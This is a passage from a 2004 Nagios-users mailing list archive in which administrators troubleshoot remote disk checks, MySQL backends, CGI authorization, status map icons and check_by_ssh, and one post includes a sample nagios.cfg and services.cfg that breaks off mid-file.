Powell) Date: Fri, 19 Mar 2004 14:57:09 -0600 Subject: question on free disk space Message-ID: <370ACCFA5BB3B346A31222E5559BF91F03A36D@mismail2.ena.com> On Friday, March 19, 2004 2:40 PM, Pat shared with us: > Sorry, I previously sent this thru the wrong account wich doesn't > belong to this group. So here is a resend. > > > > I'm a newbie at Nagios. I just installed version 1.2 and got it > working today. > > I'm wondering if/what I'm doing wrong but I can't get the free disk > space to read correctly on remote hosts. > > The first drives (hda1 or sda1) all read as 2222MB (45%) and all the > other drives don't read on all my Linux servers except on the nagios > host server where it all reads fine. > > Here's a sample of the service.cfg file > > > # Service definition > define service{ use > generic-service ; Name of service template to use > > host_name docbase > service_description /dev/sda5 Free Space > is_volatile 0 > check_period 24x7 > max_check_attempts 3 > normal_check_interval 5 > retry_check_interval 1 > contact_groups admins > notification_interval 120 > notification_period 24x7 > notification_options w,u,c,r > check_command > check_local_disk!20%!10%!/dev/sda5 Is 'docbase' your nagios machine? You are aware that the check_disk plugin (not exactly sure what check_local_disk is) is not a network-aware test? If you're wanting to use it to check disk space on remote hosts you'll need to install the plugin on that machine _and_ use something like NRPE to execute it and get the results. -- Marc ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From thepcguy at veryspeedy.net Fri Mar 19 21:59:06 2004 From: thepcguy at veryspeedy.net (Pat) Date: Fri, 19 Mar 2004 15:59:06 -0500 Subject: question on free disk space In-Reply-To: <370ACCFA5BB3B346A31222E5559BF91F03A36D@mismail2.ena.com> References: <370ACCFA5BB3B346A31222E5559BF91F03A36D@mismail2.ena.com> Message-ID: <1079729945.5894.37.camel@localhost.localdomain> Ha! That explains it then. Thanks. On Fri, 2004-03-19 at 15:57, Marc Powell wrote: > On Friday, March 19, 2004 2:40 PM, Pat shared with us: > > > Sorry, I previously sent this thru the wrong account wich doesn't > > belong to this group. So here is a resend. > > > > > > > > I'm a newbie at Nagios. I just installed version 1.2 and got it > > working today. > > > > I'm wondering if/what I'm doing wrong but I can't get the free disk > > space to read correctly on remote hosts. > > > > The first drives (hda1 or sda1) all read as 2222MB (45%) and all the > > other drives don't read on all my Linux servers except on the nagios > > host server where it all reads fine. > > > > Here's a sample of the service.cfg file > > > > > > # Service definition > > define service{ use > > generic-service ; Name of service template to use > > > > host_name docbase > > service_description /dev/sda5 Free Space > > is_volatile 0 > > check_period 24x7 > > max_check_attempts 3 > > normal_check_interval 5 > > retry_check_interval 1 > > contact_groups admins > > notification_interval 120 > > notification_period 24x7 > > notification_options w,u,c,r > > check_command > > check_local_disk!20%!10%!/dev/sda5 > > > Is 'docbase' your nagios machine? You are aware that the check_disk > plugin (not exactly sure what check_local_disk is) is not a > network-aware test? If you're wanting to use it to check disk space on > remote hosts you'll need to install the plugin on that machine _and_ use > something like NRPE to execute it and get the results. > > -- > Marc > ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From schluntz at workofstone.com Fri Mar 19 22:01:04 2004 From: schluntz at workofstone.com (Sean J. Schluntz) Date: Fri, 19 Mar 2004 13:01:04 -0800 Subject: MySQL and the Objects files In-Reply-To: References: <7CA74D9C-79E5-11D8-B06D-000A95B3192A@workofstone.com> Message-ID: <88FF61B7-79E8-11D8-B06D-000A95B3192A@workofstone.com> That answers that question :) Thanks! -Sean On Mar 19, 2004, at 12:53 PM, Jason Martin wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > A while back someone submitted a patch to have Nagios store its object > configuration in mysql, but it is not part of the main distribution. > Nagios does not support storing configuration in MySQL. > > - -Jason Martin > > On Fri, 19 Mar 2004, Sean J. Schluntz wrote: > >> Is anyone using Nagios with everything stored in MySQL (including the >> Objects data?)? If you are I'd be interested in talking with you >> about >> how you manage it and how you setup the tables. >> >> Thanks! >> >> -Sean >> --- >> Sean J. Schluntz >> 510-264-1785 >> Sr. Security Consultant Work of >> Stone >> >> >> >> ------------------------------------------------------- >> This SF.Net email is sponsored by: IBM Linux Tutorials >> Free Linux tutorial presented by Daniel Robbins, President and CEO of >> GenToo technologies. Learn everything from fundamentals to system >> administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click >> _______________________________________________ >> Nagios-users mailing list >> Nagios-users at lists.sourceforge.net >> https://lists.sourceforge.net/lists/listinfo/nagios-users >> ::: Please include Nagios version, plugin version (-v) and OS when >> reporting any issue. >> ::: Messages without supporting info will risk being sent to /dev/null >> > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.3.5 (GNU/Linux) > Comment: pgpenvelope 2.10.2 - http://pgpenvelope.sourceforge.net/ > > iD8DBQFAW12+l2ODWuqVSBMRAr5IAJ4ki/Vknacb/Pg1HTuoMav5heL2ugCeK0bA > wivug9zJ0NiYsSBHVI4OqsE= > =E+2p > -----END PGP SIGNATURE----- > --- Sean J. Schluntz 510-264-1785 Sr. Security Consultant Work of Stone ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From AHKAPLAN at PARTNERS.ORG Fri Mar 19 22:10:04 2004 From: AHKAPLAN at PARTNERS.ORG (Kaplan, Andrew H.) Date: Fri, 19 Mar 2004 16:10:04 -0500 Subject: Problem with an icon on the statusmap.cgi page Message-ID: <5593DA408212D511B0910002A513501F0655925F@phsexch20.mgh.harvard.edu> One of the printers that I am monitoring does not have its icon associated with it is displayed on the statusmap.cgi page. I ran a check of the hostextinfo.cfg file, and the appropriate information does appear to be correct. Other printers are not having this problem. I deleted the configuration lines associated with the printer, and then entered them in again. The problem did not go away. Anyone have ideas about this? Thanks. ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From rwhuff at charter.net Fri Mar 19 22:05:44 2004 From: rwhuff at charter.net (Ron Huff) Date: Fri, 19 Mar 2004 13:05:44 -0800 Subject: auth/auth help Message-ID: <405B60A8.1040708@charter.net> I've implemented nagios 1.1 and plugins 1.3.1 + Indiana University plugins...I currently have a small subset of the eventual network under monitor (~125 devices)...I recently turned on the CGI authentication/authorization and found the documentation to to be clear and the process simple. However, I find the documentation (in cgi.cfg) to be fuzzy at best for control thru the cfg variables, and I find I don't know what to expect. For example: I have an authenticated 'user', NOT a contact and in the cfg file I turn on authorized_for_all_services for this user...nothing else. When accessing the statusmap.cgi I get no display, which is what I expect. When I try 'Status Overview for All Hosts', I get the msg that I can't have it, which is also expected...then I go to 'Status Detail for All Hosts', and it shows me everything!!!??! What gives?!? ...is there more/better documentation on these .cfg file variable...is this a bug? Thanks, Ron Huff (also connecting thru ucdavis.edu) ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From Daniel.Mesimer at med.va.gov Fri Mar 19 22:07:29 2004 From: Daniel.Mesimer at med.va.gov (Mesimer, Daniel J.) Date: Fri, 19 Mar 2004 13:07:29 -0800 Subject: Nagios Process Message-ID: <707BC118BC44D3118E3B0000F81F1E7603F22DE8@VHAKANEXC1> Anyone who can shed some light, I have installed Nagios version 1.2 and have everything pretty much up and running OK. I compiled it to use a MySQL backend (and I am not too experienced with this) But I have the following issue: When viewing "Process Info", it states that the Nagios process is not running (but it is) and gives "Error: Cannot open status log for reading!" I am very confused by this, any help would be greatly appreciated or pointers to some more documentation. Thanks, Dan Mesimer Kansas City VA Medical Center Network Support ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From schluntz at workofstone.com Fri Mar 19 22:37:07 2004 From: schluntz at workofstone.com (Sean J. Schluntz) Date: Fri, 19 Mar 2004 13:37:07 -0800 Subject: Nagios Process In-Reply-To: <707BC118BC44D3118E3B0000F81F1E7603F22DE8@VHAKANEXC1> References: <707BC118BC44D3118E3B0000F81F1E7603F22DE8@VHAKANEXC1> Message-ID: <9219E0F8-79ED-11D8-B06D-000A95B3192A@workofstone.com> I had the same problem until I replaced the check_nagios binary with the script by Denao which looks at the database for status instead of the flat file. I can't locate the original, but would be happy to forward you my copy. -Sean On Mar 19, 2004, at 1:07 PM, Mesimer, Daniel J. wrote: > Anyone who can shed some light, > > I have installed Nagios version 1.2 and have everything pretty much up > and > running OK. > I compiled it to use a MySQL backend (and I am not too experienced with > this) > > But I have the following issue: > > When viewing "Process Info", it states that the Nagios process is not > running (but it is) and gives "Error: Cannot open status log for > reading!" > > I am very confused by this, any help would be greatly appreciated or > pointers to some more documentation. > > Thanks, > > Dan Mesimer > Kansas City VA Medical Center > Network Support > > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when > reporting any issue. > ::: Messages without supporting info will risk being sent to /dev/null > > > --- Sean J. Schluntz 510-264-1785 Sr. Security Consultant Work of Stone ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jeff at bofus.org Fri Mar 19 22:57:48 2004 From: jeff at bofus.org (Jeffery P. Humes) Date: Fri, 19 Mar 2004 15:57:48 -0600 Subject: System Log monitoring with nagios? Message-ID: <405B6CDC.3090204@bofus.org> What is everyone out there doing for system log monitoring with Nagios. I am just looking to monitor the normal logs for regex and report the stuff I want. Thanks in advance. -Jeff Humes ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jstefani at yorku.ca Fri Mar 19 23:03:40 2004 From: jstefani at yorku.ca (John Stefani) Date: Fri, 19 Mar 2004 17:03:40 -0500 (EST) Subject: How do I change icons? Message-ID: Hi, I set up nagios-mysql on a Debian system. I am trying to change the icons that describe my servers in the Status Map. I edited the hostextinfo entry in the cgi.cfg file (hostextinfo[rosie]=/serverinfo/rosie.html;win40.gif;win40.jpg;win40.gd2;NT Server 4.0;;;), and put the icons in the write directory, but the changes aren't picked up. I am sure that nagios is looking for those icons, because if I remove them they aren't displayed (the famous question mark). Does this have something to do with the fact I enabled mysql or that I changed the "DG EXTENDED DATA" to look into the database (although by looking at the logs I see no query that tries to access the hostextinfo table)? Does anybody have any tip to help me changing these icons? Suggestions greatly appreciated. Thanks a lot. -John ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From james at expresscomputers.com Sat Mar 20 00:04:20 2004 From: james at expresscomputers.com (James Bowes) Date: Fri, 19 Mar 2004 15:04:20 -0800 Subject: Distributed monitoring update Message-ID: Hi folks. Thanks to all that opened my eyes to the simple mistakes I made. I have been able to manually submit a check successfully and I can see the connections in occuring in the central server's /var/log/secure.log file. Unfortunately, I do not see any result from the checks in the web interface. I left the freshness at the default of 60 seconds so I am wondering what where in the log files it is that I can track down the lack of updated information... Thanks again for your patience everyone. --james ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From karl at debisschop.net Sat Mar 20 02:06:40 2004 From: karl at debisschop.net (Karl DeBisschop) Date: Fri, 19 Mar 2004 20:06:40 -0500 Subject: Does check_by_ssh work with ssh-agent and/or keychain ? In-Reply-To: <1079712059.4406.124.camel@pel> References: <405B065D.3070305@rmbam.co.za> <1079712059.4406.124.camel@pel> Message-ID: <20040319200640.08b1c82b.karl@debisschop.net> On Fri, 19 Mar 2004 11:00:59 -0500 Sean Dilda wrote: > On Fri, 2004-03-19 at 09:40, Nardus Geldenhuys wrote: > > -----BEGIN PGP SIGNED MESSAGE----- > > Hash: SHA1 > > > > Hi People > > > > Does check_by_ssh work with ssh-agent and/or keychain ?? Is there > > anybody with a working system using this method ? > > > > I have setup everything. The user is "nagios". I can "ssh user at host" > > with no problem and no password prompt :) But when I run > > "/usr/nagios/libexec/check_by_ssh -H support at shark -C /usr/bin/ls" I > > get this prompt "Enter passphrase for key > > '/home/nagios/.ssh/id_rsa':". > > > > Is the error with ssh or the plugin ? > > plugin. > > check_by_ssh uses the spopen() function to call ssh. The spopen() > function is designed for nagios plugins. However, one side-effect of > spopen() is that it wipes out the environment before executing the > program. Not a side effect - a major goal. -- Karl ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From sghosh at sghosh.org Sat Mar 20 07:23:29 2004 From: sghosh at sghosh.org (Subhendu Ghosh) Date: Sat, 20 Mar 2004 01:23:29 -0500 (EST) Subject: System Log monitoring with nagios? In-Reply-To: <405B6CDC.3090204@bofus.org> References: <405B6CDC.3090204@bofus.org> Message-ID: On Fri, 19 Mar 2004, Jeffery P. Humes wrote: > What is everyone out there doing for system log monitoring with Nagios. > > I am just looking to monitor the normal logs for regex and report the > stuff I want. > > Thanks in advance. check_log in the plugin dist check_log2.pl in the plugins contrib -- -sg ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From peter at mcalpinecomputing.net Sat Mar 20 14:33:35 2004 From: peter at mcalpinecomputing.net (Peter McAlpine) Date: Sat, 20 Mar 2004 08:33:35 -0500 Subject: nagios does not read .cfg files Message-ID: <1079789615.9788.11.camel@pitc> Hello, I was very exited to come across nagios is my travels. I can see it getting a lot of use once it's configured. I've come up against a brick wall, though. I have installed the debian nagios-mysql and nagios packages, and made a couple of configuration changes to the templates, but nagios does not parse any of the files referenced by the cfg_file option! I've attached the default nagios.cfg, and the services.cfg file that I'm using and would appreciated some input. Thanks, Peter -------------- next part -------------- define service{ ; The plain old pitc service! name ping-template active_checks_enabled 1 ; Active service checks are disabled passive_checks_enabled 0 ; Passive service checks are enabled/disabled parallelize_check 1 ; Active service checks should be parallelized ; (disabling this can lead to major performance problems) obsess_over_service 1 ; We should obsess over this service (if necessary) check_freshness 0 ; Default is to NOT check service 'freshness' notifications_enabled 0 ; Service notifications are disabled event_handler_enabled 0 ; Service event handler is disabled flap_detection_enabled 0 ; Flap detection is disabled process_perf_data 1 ; Process performance data retain_status_information 1 ; Retain status information across program restarts retain_nonstatus_information 1 ; Retain non-status information across program restarts register 1 } # da ping service define service{ use ping-template ; Name of service template to use host_name pitc service_description PING is_volatile 0 check_period 24x7 max_check_attempts 3 normal_check_interval 5 retry_check_interval 1 contact_groups PITCadmin notification_interval 240 notification_period 24x7 notification_options c,r check_command check_ping!100.0,20%!500.0,60% } -------------- next part -------------- ############################################################################## # # NAGIOS.CFG - Sample Main Config File for Nagios # # Read the documentation for more information on this configuration # file. I've provided some comments here, but things may not be so # clear without further explanation. # # Last Modified: 07-04-2002 # ############################################################################## # This is the main log file where service and host events are logged # for historical purposes. This should be the first option specified # in the config file!!! log_file=/var/log/nagios/nagios.log # OBJECT CONFIGURATION FILE(S) # This is the configuration file in which you define hosts, host # groups, contacts, contact groups, services, etc. I guess it would # be better called an object definition file, but for historical # reasons it isn't. You can split object definitions into several # different config files by using multiple cfg_file statements here. # Nagios will read and process all the config files you define. # This can be very useful if you want to keep command definitions # separate from host and contact definitions... # Plugin commands (service and host check commands) # Arguments are likely to change between different releases of the # plugins, so you should use the same config file provided with the # plugin release rather than the one provided with Nagios. cfg_file=/etc/nagios/checkcommands.cfg # Misc commands (notification and event handler commands, etc) cfg_file=/etc/nagios/misccommands.cfg # You can split other types of object definitions across several # config files if you wish (as done here), or keep them all in a # single config file. cfg_file=/etc/nagios/services.cfg cfg_file=/etc/nagios/contactgroups.cfg cfg_file=/etc/nagios/contacts.cfg cfg_file=/etc/nagios/hostgroups.cfg cfg_file=/etc/nagios/hosts.cfg cfg_file=/etc/nagios/timeperiods.cfg # RESOURCE FILE # This is an optional resource file that contains $USERx$ macro # definitions. Multiple resource files can be specified by using # multiple resource_file definitions. The CGIs will not attempt to # read the contents of resource files, so information that is # considered to be sensitive (usernames, passwords, etc) can be # defined as macros in this file and restrictive permissions (600) # can be placed on this file. resource_file=/etc/nagios/resource.cfg # STATUS FILE # This is where the current status of all monitored services and # hosts is stored. Its contents are read and processed by the CGIs. # The contentsof the status file are deleted every time Nagios # restarts. status_file=/var/log/nagios/status.log # NAGIOS USER # This determines the effective user that Nagios should run as. # You can either supply a username or a UID. nagios_user=nagios # NAGIOS GROUP # This determines the effective group that Nagios should run as. # You can either supply a group name or a GID. nagios_group=nagios # EXTERNAL COMMAND OPTION # This option allows you to specify whether or not Nagios should check # for external commands (in the command file defined below). By default # Nagios will *not* check for external commands, just to be on the # cautious side. If you want to be able to use the CGI command interface # you will have to enable this. Setting this value to 0 disables command # checking (the default), other values enable it. check_external_commands=1 # EXTERNAL COMMAND CHECK INTERVAL # This is the interval at which Nagios should check for external commands. # This value works of the interval_length you specify later. If you leave # that at its default value of 60 (seconds), a value of 1 here will cause # Nagios to check for external commands every minute. If you specify a # number followed by an "s" (i.e. 15s), this will be interpreted to mean # actual seconds rather than a multiple of the interval_length variable. # Note: In addition to reading the external command file at regularly # scheduled intervals, Nagios will also check for external commands after # event handlers are executed. # NOTE: Setting this value to -1 causes Nagios to check the external # command file as often as possible. #command_check_interval=1 #command_check_interval=15s command_check_interval=-1 # EXTERNAL COMMAND FILE # This is the file that Nagios checks for external command requests. # It is also where the command CGI will write commands that are submitted # by users, so it must be writeable by the user that the web server # is running as (usually 'nobody'). Permissions should be set at the # directory level instead of on the file, as the file is deleted every # time its contents are processed. command_file=/var/log/nagios/rw/nagios.cmd # COMMENT FILE # This is the file that Nagios will use for storing host and service # comments. comment_file=/var/log/nagios/comment.log # DOWNTIME FILE # This is the file that Nagios will use for storing host and service # downtime data. downtime_file=/var/log/nagios/downtime.log # LOCK FILE # This is the lockfile that Nagios will use to store its PID number # in when it is running in daemon mode. lock_file=/var/log/nagios/nagios.lock # TEMP FILE # This is a temporary file that is used as scratch space when Nagios # updates the status log, cleans the comment file, etc. This file # is created, used, and deleted throughout the time that Nagios is # running. temp_file=/var/log/nagios/nagios.tmp # LOG ROTATION METHOD # This is the log rotation method that Nagios should use to rotate # the main log file. Values are as follows.. # n = None - don't rotate the log # h = Hourly rotation (top of the hour) # d = Daily rotation (midnight every day) # w = Weekly rotation (midnight on Saturday evening) # m = Monthly rotation (midnight last day of month) log_rotation_method=d # LOG ARCHIVE PATH # This is the directory where archived (rotated) log files should be # placed (assuming you've chosen to do log rotation). log_archive_path=/var/log/nagios/archives # LOGGING OPTIONS # If you want messages logged to the syslog facility, as well as the # NetAlarm log file set this option to 1. If not, set it to 0. use_syslog=1 # NOTIFICATION LOGGING OPTION # If you don't want notifications to be logged, set this value to 0. # If notifications should be logged, set the value to 1. log_notifications=1 # SERVICE RETRY LOGGING OPTION # If you don't want service check retries to be logged, set this value # to 0. If retries should be logged, set the value to 1. log_service_retries=1 # HOST RETRY LOGGING OPTION # If you don't want host check retries to be logged, set this value to # 0. If retries should be logged, set the value to 1. log_host_retries=1 # EVENT HANDLER LOGGING OPTION # If you don't want host and service event handlers to be logged, set # this value to 0. If event handlers should be logged, set the value # to 1. log_event_handlers=1 # INITIAL STATES LOGGING OPTION # If you want Nagios to log all initial host and service states to # the main log file (the first time the service or host is checked) # you can enable this option by setting this value to 1. If you # are not using an external application that does long term state # statistics reporting, you do not need to enable this option. In # this case, set the value to 0. log_initial_states=0 # EXTERNAL COMMANDS LOGGING OPTION # If you don't want Nagios to log external commands, set this value # to 0. If external commands should be logged, set this value to 1. # Note: This option does not include logging of passive service # checks - see the option below for controlling whether or not # passive checks are logged. log_external_commands=1 # PASSIVE SERVICE CHECKS LOGGING OPTION # If you don't want Nagios to log passive service checks, set this # value to 0. If passive service checks should be logged, set this # value to 1. log_passive_service_checks=1 # GLOBAL HOST AND SERVICE EVENT HANDLERS # These options allow you to specify a host and service event handler # command that is to be run for every host or service state change. # The global event handler is executed immediately prior to the event # handler that you have optionally specified in each host or # service definition. The command argument is the short name of a # command definition that you define in your host configuration file. # Read the HTML docs for more information. #global_host_event_handler=somecommand #global_service_event_handler=somecommand # INTER-CHECK DELAY METHOD # This is the method that Nagios should use when initially # "spreading out" service checks when it starts monitoring. The # default is to use smart delay calculation, which will try to # space all service checks out evenly to minimize CPU load. # Using the dumb setting will cause all checks to be scheduled # at the same time (with no delay between them)! This is not a # good thing for production, but is useful when testing the # parallelization functionality. # n = None - don't use any delay between checks # d = Use a "dumb" delay of 1 second between checks # s = Use "smart" inter-check delay calculation # x.xx = Use an inter-check delay of x.xx seconds inter_check_delay_method=s # SERVICE CHECK INTERLEAVE FACTOR # This variable determines how service checks are interleaved. # Interleaving the service checks allows for a more even # distribution of service checks and reduced load on remote # hosts. Setting this value to 1 is equivalent to how versions # of Nagios previous to 0.0.5 did service checks. Set this # value to s (smart) for automatic calculation of the interleave # factor unless you have a specific reason to change it. # s = Use "smart" interleave factor calculation # x = Use an interleave factor of x, where x is a # number greater than or equal to 1. service_interleave_factor=s # MAXIMUM CONCURRENT SERVICE CHECKS # This option allows you to specify the maximum number of # service checks that can be run in parallel at any given time. # Specifying a value of 1 for this variable essentially prevents # any service checks from being parallelized. A value of 0 # will not restrict the number of concurrent checks that are # being executed. max_concurrent_checks=0 # SERVICE CHECK REAPER FREQUENCY # This is the frequency (in seconds!) that Nagios will process # the results of services that have been checked. service_reaper_frequency=10 # SLEEP TIME # This is the number of seconds to sleep between checking for system # events and service checks that need to be run. I would recommend # *not* changing this from its default value of 1 second. sleep_time=1 # TIMEOUT VALUES # These options control how much time Nagios will allow various # types of commands to execute before killing them off. Options # are available for controlling maximum time allotted for # service checks, host checks, event handlers, notifications, the # ocsp command, and performance data commands. All values are in # seconds. service_check_timeout=60 host_check_timeout=30 event_handler_timeout=30 notification_timeout=30 ocsp_timeout=5 perfdata_timeout=5 # RETAIN STATE INFORMATION # This setting determines whether or not Nagios will save state # information for services and hosts before it shuts down. Upon # startup Nagios will reload all saved service and host state # information before starting to monitor. This is useful for # maintaining long-term data on state statistics, etc, but will # slow Nagios down a bit when it (re)starts. Since its only # a one-time penalty, I think its well worth the additional # startup delay. retain_state_information=1 # STATE RETENTION FILE # This is the file that Nagios should use to store host and # service state information before it shuts down. The state # information in this file is also read immediately prior to # starting to monitor the network when Nagios is restarted. # This file is used only if the preserve_state_information # variable is set to 1. state_retention_file=/var/log/nagios/status.sav # RETENTION DATA UPDATE INTERVAL # This setting determines how often (in minutes) that Nagios # will automatically save retention data during normal operation. # If you set this value to 0, Nagios will not save retention # data at regular interval, but it will still save retention # data before shutting down or restarting. If you have disabled # state retention, this option has no effect. retention_update_interval=60 # USE RETAINED PROGRAM STATE # This setting determines whether or not Nagios will set # program status variables based on the values saved in the # retention file. If you want to use retained program status # information, set this value to 1. If not, set this value # to 0. use_retained_program_state=0 # INTERVAL LENGTH # This is the seconds per unit interval as used in the # host/contact/service configuration files. Setting this to 60 means # that each interval is one minute long (60 seconds). Other settings # have not been tested much, so your mileage is likely to vary... interval_length=60 # AGRESSIVE HOST CHECKING OPTION # If you don't want to turn on agressive host checking features, set # this value to 0 (the default). Otherwise set this value to 1 to # enable the agressive check option. Read the docs for more info # on what agressive host check is or check out the source code in # base/checks.c use_agressive_host_checking=0 # SERVICE CHECK EXECUTION OPTION # This determines whether or not Nagios will actively execute # service checks when it initially starts. If this option is # disabled, checks are not actively made, but Nagios can still # receive and process passive check results that come in. Unless # you're implementing redundant hosts or have a special need for # disabling the execution of service checks, leave this enabled! # Values: 1 = enable checks, 0 = disable checks execute_service_checks=1 # PASSIVE CHECK ACCEPTANCE OPTION # This determines whether or not Nagios will accept passive # service checks results when it initially (re)starts. # Values: 1 = accept passive checks, 0 = reject passive checks accept_passive_service_checks=1 # NOTIFICATIONS OPTION # This determines whether or not Nagios will sent out any host or # service notifications when it is initially (re)started. # Values: 1 = enable notifications, 0 = disable notifications enable_notifications=1 # EVENT HANDLER USE OPTION # This determines whether or not Nagios will run any host or # service event handlers when it is initially (re)started. Unless # you're implementing redundant hosts, leave this option enabled. # Values: 1 = enable event handlers, 0 = disable event handlers enable_event_handlers=1 # PROCESS PERFORMANCE DATA OPTION # This determines whether or not Nagios will process performance # data returned from service and host checks. If this option is # enabled, host performance data will be processed using the # host_perfdata_command (defined below) and service performance # data will be processed using the service_perfdata_command (also # defined below). Read the HTML docs for more information on # performance data. # Values: 1 = process performance data, 0 = do not process performance data process_performance_data=0 # HOST AND SERVICE PERFORMANCE DATA PROCESSING COMMANDS # These commands are run after every host and service check is # performed. These commands are executed only if the # enable_performance_data option (above) is set to 1. The command # argument is the short name of a command definition that you # define in your host configuration file. Read the HTML docs for # more information on performance data. #host_perfdata_command=process-host-perfdata #service_perfdata_command=process-service-perfdata # OBSESS OVER SERVICE CHECKS OPTION # This determines whether or not Nagios will obsess over service # checks and run the ocsp_command defined below. Unless you're # planning on implementing distributed monitoring, do not enable # this option. Read the HTML docs for more information on # implementing distributed monitoring. # Values: 1 = obsess over services, 0 = do not obsess (default) obsess_over_services=0 # OBSESSIVE COMPULSIVE SERVICE PROCESSOR COMMAND # This is the command that is run for every service check that is # processed by Nagios. This command is executed only if the # obsess_over_service option (above) is set to 1. The command # argument is the short name of a command definition that you # define in your host configuration file. Read the HTML docs for # more information on implementing distributed monitoring. #ocsp_command=somecommand # ORPHANED SERVICE CHECK OPTION # This determines whether or not Nagios will periodically # check for orphaned services. Since service checks are not # rescheduled until the results of their previous execution # instance are processed, there exists a possibility that some # checks may never get 